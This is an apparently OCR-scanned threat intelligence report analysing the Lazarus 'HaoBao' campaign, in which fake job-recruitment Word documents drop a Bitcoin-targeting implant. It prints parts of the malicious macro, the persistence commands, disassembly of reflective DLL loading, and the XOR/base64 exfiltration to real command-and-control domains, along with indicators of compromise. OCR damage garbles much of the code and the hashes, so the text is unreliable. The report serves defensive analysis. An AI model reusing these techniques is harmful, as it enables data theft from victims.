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McAfee Advanced Threat Research (ATR) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international
cybercrime group Lazarus that uses sophisticated malware with long-term impact.

This new campaign, dubbed HaoBao, resumes Lazarus’ previous phishing emails, posed as employee recruitment, but now targets Bitcoin
users and global financial organizations. When victims open malicious documents attached to the emails, the malware scans for Bitcoin
activity and then establishes an implant for long-term data-gathering.

HaoBao targets and never-before-seen implants signal to McAfee ATR an ambitious campaign by Lazarus to establish cryptocurrency
cybercrime at a sophisticated level.

Background

Beginning in 2017, the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained

malicious documents. The campaign lasted from April to October and used job descriptions relevant to target organizations, in both English
and Korean language. The objective was to gain access to the target’s environment and obtain key military program insight or steal money.
The 2017 campaign targets ranged from defense contractors to financial institutions, including crypto currency exchanges, however; much

of this fake job recruitment activity ceased months later, with the last activity observed October 22, 2017.

Analysis

On January 15" | McAfee ATR discovered a malicious document masquerading as a job recruitment for a Business Development Executive
located in Hong Kong for a large multi-national bank. The document was distributed via a Dropbox account at the following URL:

hxxps://www.dropbox.com/s/qjeOyrz03au66d0/JobDescription.doc?dI=1

This is the mark of a new campaign, though it utilizes techniques, tactics and procedures observed in 2017. This document had the last
author ‘Windows User’ and was created January 16, 2018 with Korean language resources. Several additional malicious documents with
the same author appeared between January 16 though January 24, 2018.

last_author Windows User
creation_datetime 2017-09-11 10:20:00
revision_number 2
author HP
page_count 1
Document summary from Virus Total
last_saved 2018-01-16 03:37:00
edit_time 60
template Normal dotm
application_name Microsoft Office Word
code_page Korean
Shal Creation Date Author Subject
dc0eby37cebada2ibddl79d81dc7d910a7dbfdde 1/15/2018 Windows Business
User Development
Executive -
Insurance
a794BBb114f57bd3dBa7fa29e7047e2281ce2 116 1/19/2018 Windows Relationship
User Director — Malicious job recruitment documents
Corporate
Banking
7e70793c1caB2 0067 75a0cac2bd75cc9adaivdic 1/24/2018 Windows Engineering
User Manager for
Crypto Currency
job
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Victims are persuaded to enable content through a notification claiming the document was created in an earlier version of Microsoft Word.
The malicious documents then launch an implant on the victim’s system via a Visual Basic macro.

SECURITY WARNING Macros have been disabled. Enable Content

Malicious Microsoft Word document

Document created in earlier version of
Microsoft Office Word

To view this content, Please click “Enable Editing” from the yellow bar

and then click “Enable Content”

Shal Compile Date | File Name | Command & Control
535f212b3204i04%ae8bBebeladid3e3bd25ed79 1/22/2018 Lsm.exe 210.122.7.129
1ddBeba55b16b50f7e8055edcabf4957efbIelod 1/22/2008 | e
afb2595celecflfdb9631752e32f0e32be3d51bb 1/19/2018 | e 70.42.52.80
effaabRdafe2fbe?el0bibac?75cce5a3bb2999e 1/15/2018 Csras.exne 221.164.168. 185

campaign

Implants dropped in

The document (7e70793c1ca82006775a0cac2bd75cc9ada3d7d7c) created January 24, 2018 drops and executes an implant compiled

January 22, 2018 with the name Ism.exe (535f212b320df049ae8b8ebe0a4f93e3bd25ed79). The implant Ism.exe contacted 210.122.7.129

which also resolves to worker.co.kr.Implants dropped in campaign

The other malicious document ( a79488b114f57bd3d8a7fa29e7647e2281ce21f6) created January 19, 2018 drops the implant

(afb2595ce1ecf0fdb9631752e32f0e32be3d51bb); which is 99% similar-to the Ism.exe implant.

This document was distributed from the following Dropbox URLs:

o hxxps://dl.dropboxusercontent.com/content_link/AKqgkZsJRuxz5VKEgcgugNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2IHos/file?

di=1

o hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dI=1
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HTTP response for job description document
This implant (csrss.exe) compiled January 15, 2018 contacts an IP address 70.42.52.80 which resolves to deltaemis.com. We identified that
this domain was used to host a malicious document from a previous 2017 campaign targeting the Sikorsky program.

hxxp://deltaemis.com/CRCForm/3E_Company/Sikorsky/E4174/JobDescription.doc

A third malicious document (dc06b737cebada23b4d179d81dc7d910a7dbfdde) created January 19, 2018 drops
e8faab8daf62fbe2e10b3bac775cce5a3bb2999e which is compiled January 15, 2018. This implant communicates to a South Korean IP
address 221.164.168.185 which resolves to palgong-cc.co.kr.

McAfee ATR analysis finds the dropped implants have never been seen before in the wild and have not been used in previous Lazarus
campaigns from 2017. Furthermore, this campaign deploys a one-time data gathering implant that relies upon downloading a second stage
to gain persistence. The implants contain a hardcoded word “haobao” that is used as a switch when executing from the Visual Basic macro.

Malicious Document Analysis

The malicious document contains two payloads as encrypted string arrays embedded in Visual Basic macro code. The payloads are
present as encrypted string arrays that are decrypted in memory, written to disk and launched in sequence (second stage malicious binary
launched first and then the decoy document).

The VBA Macro code is self-executing and configured to execute when the OLE document (MS Word doc) is opened (via “Sub
AutoOpen()”). The AutoOpen() function in the VBA Macro performs the following tasks in the sequence listed:

Decodes the target file path of the second stage binary payload. This file path is calculated based on the current user’s Temp folder
location:

<temp_dir_path>\\\lsm.exe

bin = "—[krl—dwd

src = Environ ("temp™) + "\
For idx = 1 To Len(bin)
srec = src + Chr (Asc (Midf (bin, id=x, 1)) + 1)

VB code to decrypt second stage filepath

Next id=x

Decodes the second stage binary in memory and writes it to the %temp%\.\Ism.exe file location
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Dim str(275) As String

T (l)

str(2)

str(3)

str(4)

atr(5)

atr(6)

atr(7)

str(8)

ste(9)

BT (10)
str(ll)
stx(l2)
sez(13)
str(ld)
str(ls)
str(16)
atr(17)
str(l8)
str(19)
str(20)
srz(2l)
see(22)
stz (23)
str(24)
str(25)
atr(26)
atz(27)
str(28)
sTr(29)
ste(30)
str(31)
srx(32)
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FEFFEFFFD1E8BOAETEBFFFFFF6B4AFFFFFFEFFFFFEF49FFFEFEFBEFFFFEECEFEFEEEEEFEEEEFEFEFEDEE SFD18D9BOEBBOEFFFFOIABFFFFFFZFFFEEFFATEFFEFF45FFE
“FFFFFEFFFFFFFFEFEFFEFFEFFFFEFFFFFFEFFFFFEFFFFFEEC4358CF495F200EAFT2FBFFFCCIF3C4TFEFFFFFE3C33333 333333333 AAT413AEAST4EDEFT TAOSEAF
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"AAT413008AF300BAFTOOEADF2FBFFFA2Z3C333333333333333333333333333333AAT413008AFTO0ERDT2ZFBFFFAZ3CI333AAT413TC13BBACT425T42ERSCCO9T6AZ OFT6ARD
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"CZ9FFYFCFFEBFEC2BFFSFCFFEBAEET4CZDT7D9BDFFTCI0FET6CZDTD9BDFF14F374C2DTDSBDFFTCE20BFET4BA1IBT6BA03B3CDISFEATCCI6ACFOSDT40CA4T2A2Z23T6FCT4BA
"TC3FEFSSF02807TAO0BB13F04328FC3D14427482FTCC3FTC36000D51TCIEFEOBZ6TC10FETSBAF3020D517C38FECTFERBFBCC3F14FDT7432803A0363C3333333333333333
"1736FCFFFETB3F8AFCCDIF3C1TS0FCFFFFTB3FERFE 1 TOFFCFFFF14124FFE3CART413TFE2F TFFARED1 T T9FCFFFF1 72 T FCFFFFOSFF1T88FSFFFFAG4FFEA23C333374B30B
"I 2CBEST2R34CEFT4F4T6BTF3 TCE4FBFFERA3 30 TFEFEFFFFT4BCEFT 1 TFeFOFFFF46FEFFFFFFT4BCEFT1TE4AFSFFFF144FSBTOFAFFFFFFFFTC3BETAOAL RS 3CT4B3DBFBOSBEFE
" 3FEBEROOFAS3DSBDFFTC309ET TC38ET TCO1ET D2 44FFE14F81 TEAFFFFFFCD3FAOAL 3CAST4CAS3DAEDEF TAO9EBDF9439ETART 24 TC3DABDFFAS00EAGB2FBFFFOOF293DABD
"OOEBF4T4311TFO0A0000002914F000ERST2FBFFEALAZICAAT413A0%TET2DBFFFOTEF2DBFFF9TE8T2DBFEFS5FCLT0D010000TC3BEF7T40F00BAEI00BAFTTAOSEBF4T43117
"F7179AFFFEFF144874B3DBFBOBT6F2FFFEFFFETCIBETAOALA43CCCIFOBT4F2FEFFFFFETES 6FBOECDEFEFEAEF T4AEF3T4ADF3C6REFTOAFA4TFEFFFEFF3CT2B6FFACAES4
"ETTAOOEEFET4AZF3TAZ4BAEE 1 T3DESFFFF3BFFESFFFFFF1TO4EAFFFF410000008014B974BA0BTC4TSTEFFFFFFFEAF2ACAEBLITDO000000AGAET20F14D2D404F049FBEDT2
"CH4RFDFF3FEADD3EBOF7TT2FFFFFF14E638BOF 7TT1FFFFFF14EF38BOF T TAFFFFFFL4FB38B9FTTSFFFFEFO089F7743095FT00EACFZEBFFF0028A6T76ALFT14EFODEEFBT6AE
"CECSEEFTT2BFFEBECECTEADT 7438762 2FDOBDEET 6BA0T 74207 6EAZBDOBDFFAF LT TEBFIFFFFAGT6E20TARLTESFAFFFFAGADT43CA4ALTE41ARZ 3CT 400AAT 413AET 4BAEBAC
"OF17S0F3FFFFTC3BF3T7435A0A1A23CT400AAT413A216FE0200007CC207DEBDFFFFEBFCCC3F3CASAE1TSDDDFFFF17CBDSFFFFT40FTADSBAFATCI00014D5AS1TCFFFEFEFE
"340000009751C3BFFF4603D8EDFF179300000000CAFBDYEDFF17CD0O0000000CAFFDTBDFF17DE000000A6RA63CLE0R020000T400RCAS1TSEDFFFFFT4CAZ3DSBDFFTAOSER
"eB2EBFFFS78F2EBFFF1 77001 0000A6A6TROSSAFE33FAEBDTEDFFFE3SBA03010000001TDEFFFFEFF TAOSBAD3008AFT1TDSFFFFFF74BALIT4FFOOCF170D0100007C3BEBAC
"EFFFFFEFFEBERI TEFF4FFFF38FFEOFFFFFF1TBEFSFFFFOSESATA23C4683D5BDFFTEFECCAFR23CCCIF46ETDTEDFFBFTEFE3CASFT9TATELIBEFFITEE1R000041AFCFBEFFCE
"ETT2ZB2007TEBROTTEBAOBTZBA0TAFOOBRFIT2BAOBAFITEDOOOOOOT41 AR ICT400ART4135EFFCFBEFFTCIFEOSSDFAGDA3 T T4BAFT2C3TCCEAEFCFEBEFFA23CT400RATE4137C
" 4B203TC3BEFTASEaAF T ICIT00166EFFFEFF T 2FB4ET426T6BA03T2CE46SEFFCEBEFEFT482037CAFEOSSDFAGDE3T7CCIF2C37T430CCEAEFCFBEFFT6BR0OBT439D4387C3FFC
"EDFFCCOSTECASED3BDFF1T711FFEFFFO0CA2ZEDSBDFFT6CASTDIBDFF1722FFFFFFO0CAZTDOBDFFT6CA2BDIBDFF1733FFFFFFTCIBEFT6CA2 TDOBDFF4FFEALSCOTOF24BFFT
"BEFFFDEBDESSES1TOBO4FFFF TASFEBFASSFEAG32DGOSFESTEAFFFFBF5FC1TSDFFFFFEFTCIBF385FC1T77080000337400AAT41SA9T4BAFTTAOSEBFI951FCCZDATOE09CE

second stage binary (MZ) as an encrypted String Array in the VBA Macro

L offBin(0}
— offBin{1}
— offBin(2)
L offBin(3)
— offBin{4})
L offBin(S)
L offBing)
— offBin(7)
L offBin(s)
i— offBin(9)
— offBin{10)
L offBin{11)
— offBin(12)
— offBin(13)
— offBin{14)
L offBin{15)
\— offBin(16)
— offBin(17)
— offBin(18)
L offBin{15)
L offBin(20)
— offBin(21)

offBin(22)
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Byte
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Byte
Byt
Byte
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Byte
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Byte
Byte
Byte
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Byte
Byte
Byte
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second stage binary (MZ) decoded in memory by the VBA Macro

After writing the second stage payload to disk the VBA code performs two important actions.
Runs the second stage payload using cmd.exe. This is done so that the cmd.exe process exists as soon as the payload is
launched. This way a process enumeration tool cannot find the parent process => Smaller footprint.

cmdline for executing the second stage binary:

cmd.exe /c start /b <temp_dir_path>\.\lsm.exe /haobao

Adds persistence on the system by creating a shortcut in the user’s Startup folder with the correct cmdline arguments:

Link file command line: <temp_dir_path>\.\lsm.exe /haobao

Link File Name: GoogleUpdate.Ink
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Private 5ub trigger (fn)
Dim obj As Cbject
Set obj = CreateObject (obfuscated("kgw:18<Bgly44™))
Set lnk = obj.CreateShortcut (obj.SpecialFolders("startup") & "\GoogleUpdate.lnk")
obj.Run "cmd.exe /c start /b " & fn & " /haobaco", 1, False
lnk.TargetPath = fn
Ink.Arguments = "/haobaao™
Ink.WorkingDirectory = Environ("temp™)
1lnk.Description = "GoogleUpdate™
Ink.WindowStyle = 1

lnk.Save
Set lnk = Nothing
Set obj = Nothing
End Sub
Trigger code for executing the second stage binary and establishing persistence
. A prDataliRoamingiicrosoRiWindows!Start MeniPrograms\StartupiGoogleUpdate nk®  VariantiObjecthshShortcut
Arguments “haobas” String
Description “GraglUpdate” Siring
FullName I - te i 1 ManuiProg Sooglslipdateink®  String
Hotkey - String
iconLocation - String
TargetPath I /:0ats L ocaNT empilsm exe” string
WindowStyle 1 Leng
WirkingDirectory I - :0cts\Loca T emp” String

LNK file configuration for establishing persistence
Once the second stage payload has been launched, the VBA Macro proceeds to display a decoy document to the end user. This
decoy document is also stored in the VBA Macro as an encrypted string array (similar to the second stage payload). The decoy
document is again written to the user’s temp directory to the following filename/path:

<temp_dir_path>\\\Job Description.doc

— offBind(0) 208 Byte
(— offBing(1) 207 Byte
— offBind(2) 17 Byte
| otfEing(3) 224 Byte
— offBind(4) 181 Byte
|- offBing(s) 177 Byte
|- offBind(g) 28 Byte
| ofEind(7) 25 Byte
|- offBind(8) 0 Byte
— offBind(3) o Byle
(— offBind(10) 0 Byta
— offEind(11) 0 Byte
|- offBind(12) 0 Byte
— offBind(13) 0 Byte
|- offBind(14) 0 Byte
— offBind(15) 0 Byte
| offBing(15) 0 Byte
— offBind(17) 0 Byte
— offBind(13) o Byte
— offBind(13) 0 Byte
— offBind(20) o Byte
— offBind(21) 0 Byte

Decoy Document decoded in memory by the VBA Macro

¢ Once the decoy document has been written to disk, the VBA Macro sets its file attributes to System + Hidden

e The decoy document is then opened by the malicious VBA Macro and the original malicious document’s caption is copied over to the
decoy document to trick the end user into mistaking the decoy document for the original (malicious) document.

« This activity, combined with the fact that the VBA Macro then closes the current (malicious) document, indicates that the VBA Macro
aims to trick an unsuspecting user into thinking that the decoy document currently open is the original (malicious) document opened
by the user.

« Since the decoy document is a benign file and does not contain any macros the victim does not suspect any malicious behavior.

Implant Analysis

As part of the implant initialization activities the implant does the following;

Checks the string passed to it through command line
o “/haobao” in case of 535f212b320df049ae8b8ebe0a4f93e3bd25ed79
o “/pumpingcore” in case of e8faa68daf62fbe2e10b3bac775cce5a3bb2999e

If the malware does not find this string in its cmdline arguments, it simply quits without going any further.
Unwraps a DLL into memory and calls its one-and-only import using Reflective DLL injection. DLL information.

During our research, we discovered additional variants of the DLL file.
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Shal DLL name in DLL export | Compile Date
header function
57285B3140522580D263F906BEA3S0AEA1IEDAFTE | Core.DLL CoreDN 1/22/2018
d655e5052f2f89e37a6d1a56290dd257bae5aadd Core.DLL CoreDN 1/15/2018
823735F532ADE5485B26CE3FC1CH6C090071F5A53 | Core.DLL CoreDN 1/11/2018

DLL information

As part of Reflective DLL loading the malware performs the following tasks on the DLL it has unwrapped in memory:
o Copy the unwrapped DLL into new locations in its own memory space.
o Build imports required by the DLL (based on the IAT of the DLL)
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dynamically load APIs specified_in_the unwrapped DLLloc_ 481250:
; CODE XREF: load_dll1_API_imports_into_mem_su

nov
test
jz
push
add
push
nov
call
nov
add
nov
test

i L) lea

eax, [ebx+BCh]
eax, eax
loc_u@1373

dword ptr [edi+30h] ; Library filename

eax, esi
eax

eax, [edi+24h] ; p_LoadLibrary

eax
esi, eax

esp, 8

[ebp+var 8], esi
esi, esi
loc_u4B1362

eax, [edi+BCh]
eax, ds:4[eax=4]

eax ; size_

t

dword ptr [edi+8] ; void =

_realloc

eCxX, eax

esp, 8

ecx, ecx
loc_481345

eax, [edi+BCh]
edx, esi
[edi+8], ecx
[ecxeeax=h], ed:
dword ptr [edi+0OCh]
ecx, [ebx]

BCX, PCX

short loc_4812B7
eax, [ebp+uar_4]
esi, [ecx+eax]
ecx, [ebx+18h]
eCcx, eax

short loc_4B12BF

loc_4812B7:

loc_4812BF:

loc_4@12D8:

loc_4@812DF:

loc_4@12E7:
push
mov
push
call
add

; CODE XREF: load_dll_API_imports_into_mem_su
esi, [ebx+16h]
esi, [ebp+var_ 4]
ecx, esi
; CODE XREF: load_dll_API_imports_into_mem_su
eax, [esi]
eax, eax
short loc_uB138A
ecx, esi
[ebp+var_18], ecx
word ptr [eax+eax+86h]
; CODE XREF: load dl1 _API_imports_into_mem_su
ebx, [ecx+esi]
duword ptr [edi+36h]
eax, eax
short loc_4B12DF
eax, ax
short loc_4012E7
; CODE XREF: load_dll_API_imports_into_mem_su
ecx, [ebp+uvar u]
eCcx, 2
eax, ECK
; CODE XREF: load dl11 API imports into _mem su
eax
eax, [edi+28h]
edx
eax ; p_GetProcAddress
esp, BCh

malware for the DLL imports

Call the newly loaded DLL image’s Entry Point (DIIMain) with DLL_PROCESS_ATTACH to complete successful loading of the DLL in

the malware process.

Imports builder code in
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jnz short loc_461818

calll DLL_EP_loc_481821: ; CODE XREF: Load_DLL_build_imports_run_EP_of_DLL_sub_!
; Load_DLL_build_imports_run_EP_of_DLL_sub_401400+405T:
mov eax, [edi]
mov eax, [eax+28h]
test eax, eax
jz short loc 481869
cmp dword ptr [edi+14h], @
jz short loc 48185A
nov ecx, [ebp+lpAddress]
add eax, ecx
push a
push 1
push ecy
call eax ; 180882420 -> inside the DLL ===> ENTRY POINT?!
test eax, eax

DLL Entry Point Call fromlmalware to finish Io_ading_o% the DLL in memory
Call the actual malicious export in the DLL named “CoreDn”

e w LY~ == gy

mowv dword Dtt‘ [EI][I—Ellh], ‘erol’ .
mov word ptr [ehp+uar_23+3] , 'nd’ Hardcoded DLL export name “CoreDn” in malware
man A Frn=uvl

All the malicious activities described below are performed by the DLL unless specified otherwise.

Data Reconnaissance

The implant has the capability of gathering data from the victim’s system. The following information will be gathered and sent to the
command and control server.

Computer name and currently logged on user’s name, stored in the format

<ComputerName> \ <Username>

push eax ; nSize

lea eax, [ebpt+Buffer]

push eax ; lpBuffer
call ds:GetComputerNHamef

lea eax, [ebp+nSize]

mov [ebp+nSize], 184h

push eax ; pcbBuffer
lea eax, [ebp+var_518]

push eax ; lpBuffer
call ds:GetUserHameA Malware obtaining the computer name and user
1lea eax, [ebp+var_518]

push eax

lea eax, [ebp+Buffer]

push eax

push offset ass ; %S A\ %s”
1lea eax, [ebp+String]

push 184h

push eax

call sprintf
name o
List of all processes currently running on the system arranged in format
<Process Name>\r\n
<Process Name>\r\n

<Process Name>\r\n

<Process Name>\r\n
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mov
call
mov
cnp

push
lea
push
push
call
add
+ mow
lea
push
push
call
test
jnz
push
call

loc_108081733:
Ror
pop
pop
pop
mou
®or
call
mou
pop
retn

loc_1008174A:
maw

loc_100081758:
lea
mowy
push
call
push
mow
call
push
lea
push
push
call
add
+ mow
lea
push
push
call
test
jnz
push
call

information from endpoint

edi, ecx
ds:CreateToolhelp32Snapshot
esi, eax

esi, BFFFFFFFFh

short loc_10081733

128h ; size_t
eax, [esp+14hh+pe]

B ; int
eax ; wolid =
nemset

esp, BCh

[esp+14Bh+pe.dwSize], 128h
eax, [esp+148h+pe]

eax ; lppe

esi ; hSnapshot
ds:Process32First

eax, eax

short loc_1880174A

esi ; hObject

ds:CloseHandle

; CODE XREF:
eax, eax
edi
esi
ebx
ecx, [esp+134h+var_4]
ecx, esp
__security_check_cookie(x)
esp, ebp
ebp

; CODE XREF:
ebx, ds:Process32Next

; CODE XREF:
eax, [esp+1u4Bh+pe.szExeFile]
ecx, edi
eax
strcat
offset asc_18015584 ; ""“rin”™
ecx, edi
strcat
128h ; size_t
eax, [esp+1Luh+pe]

5] ; int
eax ; woid =
_memset

esp, OCh

[esp+14Bh+pe.dwSize], 128h
eax, [esp+i148h+pe]

eax ; lppe

esi ; hSnapshot
ebx ; Process32Hext

eax, eax

short loc_18801750

esi ; hobject

ds:CloseHandle

The presence of a specific registry key on the system

HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Process_List_and_check_BTC_QT_

Process_List_and_check_BTC_QT_

Process List and check BTC QT

Malware collecting process

The malware appends an indicator (flag) specifying whether the above registry key was found in the user’s registry:
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<Process Name>\r\n
<Process Name>\r\n
<Process Name>\r\n
<Process Name>\r\n

n\r\n ——= Indicating absence of the key.

CR

<Process Name>\r\n

<Process Name>\r\n

<Process Name>\r\n

<Process Name>\r\n

v\r\n ——=2 Indicating presence of the key.

This key is checked again as part of the command and control communication and is sent as a duplicate value to the command and control
in the HTTP POST request as well (explained in the below).

push  eax  ; phkResult
push KEY_READ ; samDesired
push a ; ulDptions

push offset SubKey ; "Software\iBitcoiny\Bitcoin-Qt"
push HKEY_CURREHT_USER ; hKey

call ds:RegOpenKeyExA

test eax, eax

jnz short loc_10808817C8

push [esp+148h+phkResult] ; hKey

call ds:RegCloseKey Malware checking for the

push offset a¥ SR A 91 b
jmp short loc_1088817CD

8017C8: ; CODE XREF: Process List and check BT
push offset aN : 'n\rin”

0817CD: ; CODE XREF: Process List and check BT
mouv ecx, edi
call strcat

presence of the registry key

Exfiltration

Preparation

In preparation of the exfiltration of information collected from the endpoint, the malware performs the following activities:

* Encode the collected information using a simple byte based XOR operation using the byte key: 0x34.
* Base64 encode (standard) the XORed data.
» Again, check for the presence of the Registry Key: HKCU\Software\Bitcoin\Bitcoin-Qt

Command and Control Server Communication

Once the malware has performed all these activities it sends an HTTP POST request to the CnC server:

« wwwl[dot]worker.co.kr for md5 BDAEDB14723C6C8A4688CC8FC1CFE6G68
» wwwldot]palgong-cc.co.kr for md5 D4C93B85FFE88DDD552860B148831026

In the format:

HTTP POST to www[dot]worker.co.kr
/board2004/Upload/files/main.asp?idx=%d&no=%s&mode=%s
OR

HTTP POST to www[dot]palgong-cc.co.kr

/html/course/course05.asp?idx=%d&no=%s&mode=%s
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where
idx= 20 (14h) if the Registry key does not exist; 24 (18h) if the key exists.
no= XORed + base64 encoded “<Computername> \ <username>"

mode= XORed + base64 encoded Process listing + Registry key flag

|-]u5h ebx ; duReserved

push 1BBh ; nServerPort

push offset pswzServerHNHame ; "wuww.worker.co.kr" Command and control
push [ebp+cbSize] ; hSession

call ds:WinHttpConnect

server domain

Persistence

The persistence mechanism of the malware is performed only for the downloaded implant. Persistence is established for the implant via the
visual basic macro code initially executed upon document loading by the victim. This persistence is also performed ONLY if the malware
successfully executes the downloaded implant. The malware first tries to update the HKEY_LOCAL_MACHINE registry key.

If the update is unsuccessful then it also tries to update the HKEY_CURRENT_USER registry key. Value written to registry to achieve
persistence on the endpoint:

Registry Subkey = Software\Microsoft\Windows\CurrentVersion\Run
Value Name = AdobeFlash

Value Content = “C:\DOCUME~1\<username>\LOCALS~1\Temp\OneDrive.exe” kLZXlyJelgqUpKzP
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push eax ; phkResult

movups xXmm@, xmmword ptr ds:aSoftwareMicrosoftWindowsCurrentversionBun+16h ; “fos\Windows\\Cur
lea eax, [ebp+SubKey]

push eax ; 1pSubKey

movups [ebp+var_24], xnm@

push HKEY LOCAL_MACHINE ; hKey

movq xmm@, qword ptr ds:aSoftwaredicrosoftWindowsCurrentversionRun+26h ; “nitVersiony\Run”
movq [ebp+var_14], xmm@

call ds:RegCreateKeyn

nov edi, ds:RegCloseKey

test eax, eax

jnz short loc_1000814D1

push esi ; 1pString
call ds:1strlenf

push eax ; cbbata
push esi ; lpbata
push 1 ; duType
push a ; Reserved
push ebx ; lpValueMame
push [ebp+phkResult] ; hKey
call ds:ReqgSetUalueExn

push [ebp+phkResult] ; hKey
test eax, eax

jnz short loc_180@814CF

call edi ; RegCloseHey

pop edi

pop esi

noy eax, 1

pop ebx

nov ecx, [ebp+uar_A]

®or ecx, ebp

call __security_check_cookie(x)
nov esp, ebp

pop ebp

retn

i ; CODE XREF: setup_persistence_registry_sub_10001430+851j
call edi ; RegCloseHey

: : CODE XREF: setup persistence registry sub 108081430+671j

lea eax, [ebp+phkResult]

push eax ; phkResult
lea eax, [ebp+SubKey]

push eax ; 1pSubKey

push HKEY_CURRENT_USER ; hKey
call ds:RegCreateKeyn

test eax, eax

jnz short loc_18081528

push esi ; 1pstring
call ds:1lstrlenf

push eax ; chbhata
push esi 5 lpData
push 1 ; duType
push ] ; Reserved
push ebx ; 1lpvalueHame
push [ebp+phkResult] ; hKey
call ds:RegSetUalueExA

push [ebp+phkResult] ; hKey
test eax, eax

jnz short loc_18088151E

call edi ; RegCloseKey
Registry based persistence of the second stage payload

Connections to 2017 campaigns

The techniques, tactics and procedures are very similar to the campaigns that targeted US Defense contractors, US Energy sector, financial
organizations and crypto currency exchanges in 2017.

The same Windows User author appeared back in 2017 in two malicious documents H{EZQl_X|ZtFEA_ 2! HElHiS.doc and H|[EF QI A
2L} 23 .xIs which were involved in crypto currency targeting. Furthermore, one of the implants communicates to an IP address that was
involved in hosting malicious job description documents in 2017 involving the Sikorsky military program.
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McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:

« Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017

« Same author appeared in these recent malicious documents that also appeared back in Lazarus 2017 campaigns

¢ Uses the same malicious document structure and similar job recruitment ads as what we observed in past Lazarus campaigns
« The techniques, tactics and procedures align with Lazarus group’s interest in crypto currency theft

Conclusion

In this latest discovery by McAfee ATR, despite a short pause in similar operations, the Lazarus group targets crypto currency and financial

organizations. Furthermore, we have observed an increased usage of limited data gathering modules to quickly identify targets for further
attacks. This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans.

Indicators of Compromise

MITRE ATT&CK techniques

IPs

Data encoding

Data encrypted

Command-Line Interface
Account discovery

Process Discovery

Query registry

Hidden files and directories
Custom cryptographic protocol
Registry Run Keys / Start Folder
Startup ltems

Commonly used port

Exfiltration Over Command and Control Channel

210.122.7.129
70.42.52.80
221.164.168.185

URLs

o hxxps://dl.dropboxusercontent.com/content_link/AKgkZsJRuxz5VKEgcgugNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2IHos/file?

o hxxps://lwww.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dI=1

di=1

Hashes

dc06b737cebada23b4d179d81dc7d910a7dbfdde
a79488b114f57bd3d8a7fa29e7647e2281ce216
7e70793c1ca82006775a0cac2bd75cc9adal37d7c
535f212b320df049ae8b8ebe0a4f93e3bd25ed79
1dd8eba55b16b90f7e8055edcabf4957efb3e1cd
afb2595ce1ecf0fdb9631752e32f0e32be3d51bb
e8faab8daf62fbe2e10b3bac775cce5a3bb2999e

McAfee Detection

BackDoor-FDRO!
Trojan-FPCQ!

RDN/Generic Downloader.x
RDN/Generic Dropper
RDN/Generic.dx
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Fake Resume /
www[dot]worker.co.kr
www [dot] palgong-cc.co.kr

cmd .exe Sfo start /b <temp dir paths\ .\ lsm.exe Shacbaoc |

<temp_dir path>\Job Dascription.doc

\. @ | Startup Folder: GoogleUpdate. lnk |
® Decoy Document dropped:

Reflective DLL Injection
DLL

\

Persistence Data Recon Exfiltration

Run Key with value “Adobeflash”

Dt Llected
FTEMPR\OneDrive. e kLiXlyJelggUoRa® ata collected:

. Xor Encoding: Ox34
- Basebfd XORed Data

* Computer Xame Look for Bitcoin Wallez
L] Urer Name Software\\Bitcoin-T
- Frocess running
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